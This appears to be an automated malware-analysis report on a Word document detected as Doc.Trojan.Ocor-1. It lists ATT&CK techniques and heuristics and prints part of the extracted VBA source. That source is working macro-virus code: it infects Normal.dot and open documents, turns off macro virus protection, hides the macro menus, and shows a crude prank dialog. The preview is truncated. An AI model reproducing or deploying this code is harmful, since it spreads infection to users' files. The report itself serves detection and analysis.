MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1137.001 DLL Search Order Hijacking
T1137.002 DLL Search Order Hijacking
The sample contains VBA macros, including a Document_Open macro that attempts to infect the Normal.dot template and any currently open documents. The script explicitly mentions 'Bisonho Rulez' and modifies the Normal.dot template, indicating a self-propagation mechanism. The use of `Shell()` and `CreateObject()` suggests the potential for executing arbitrary code or downloading additional payloads.
Heuristics 6
-
ClamAV: Doc.Trojan.Ocor-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ocor-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 22115 bytes |
SHA-256: 96c40fb47df91b23ad835751421eac2218753d23e298b241aa3516563c0ce395 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ocor-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Private Sub Document_Close()
'Executa quando um doc e fechado e transfere o controle para a sub
'Document_Open diretamente
Document_Open
End Sub
Private Sub Document_New()
'Executa quando um doc e criado
'Document_Open diretamente
Document_Open
End Sub
Private Sub Document_Open()
'Executa quando um doc e aberto e depois transfere o controle para a sub
'RetroAction
On Error Resume Next 'Se ocorrer algum erro... pule!
Application.EnableCancelKey = 0 'Desabilita Control+Break
Set Arch = ActiveDocument.VBProject.VBComponents.Item(1)
'Define as variaveis Arch, que aponta para um doc qualquer ativo,
Set Norm = NormalTemplate.VBProject.VBComponents.Item(1)
'Norm que aponta para o normal.dot, e
Set ItsMe = Me.VBProject.VBComponents.Item(1)
'ItsMe, que indica da onde o virus esta sendo executado.
If Norm.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto do normal nao for 'Bisonho Rulez, infecte!
Norm.CodeModule.DeleteLines 1, Norm.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)
Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo
Norm.Name = "Bisonho" 'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*
If Arch.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto de um arquivo aberto nao for 'Bisonho Rulez, infecte!
Arch.CodeModule.DeleteLines 1, Arch.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)
Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo
Arch.Name = "Bisonho" 'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*
If Dir("C:\Ethan.___", 6) <> "" Then
'Aha, foi encontrado vestigios do ethan... (eu odeio esse virus nao sei pq)
SetAttr "C:\Ethan.___", vbNormal
'Define o atributo do arquivo como normal, e...
Kill "C:\Ethan.___" 'Deleta essa droga!
End If 'Termina o bloco de condicoes *SE*
RetroAction 'Chama a sub RetroAction
If Day(Now) = Month(Now) Then ChooseActions
'Chama os eventos se o dia for igual ao mes
If Minute(Now) = Second(Now) Then
'Se o segundo e igual ao minuto, faz o cara dizer que tem o pau pequeno
Msg = "Ocorreu um erro. A possivel causa e que vc tenha um penis pequeno. Vc tem um penis pequeno?"
Style = vbYesNo + vbQuestion 'Estilo da mensagem
Title = "Microsoft Word" 'Titulo da mensagem
Ret = MsgBox(Msg, Style, Title) 'Escolha do cidadao
If Ret = vbNo Then LoopIt 'Disse que nao? Pergunta de novo!
ThisIsSpecial 'Chama essa sub...
EmailCopy 'Chama essa sub tb.
End If
End Sub 'Termina a sub (DUH...)
Private Sub RetroAction()
'ESSA SUB E SO AS ACŐES RETRO DO VIRUS... RERERERE (HEHEHE)
On Error Resume Next 'Ocorreu algum erro? Pule...
Application.EnableCancelKey = wdCancelDisabled 'Desabilita o Control+Break
Options.VirusProtection = False 'Desativa a verificacao de macros no documento
Options.SaveNormalPrompt = False 'Desativa o aviso para salvar o
normal.dot
CommandBars("Tools").Controls("Macro").Visible = False
'Esconde o menu Macros
CommandBars("View").Controls(6).Visible = False
'Esconde o menu Barra de Ferramentas (para evitar que adicionem um menu novo,
'apesar que se pode dar um clique com o botao direito na barra de menu mas
'ta a pampa)
CustomizationContext = NormalTemplate
'Define onde serao salvas as mudancas abaixo
KeyBindings.Add KeyCode:=BuildKeyCode(
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.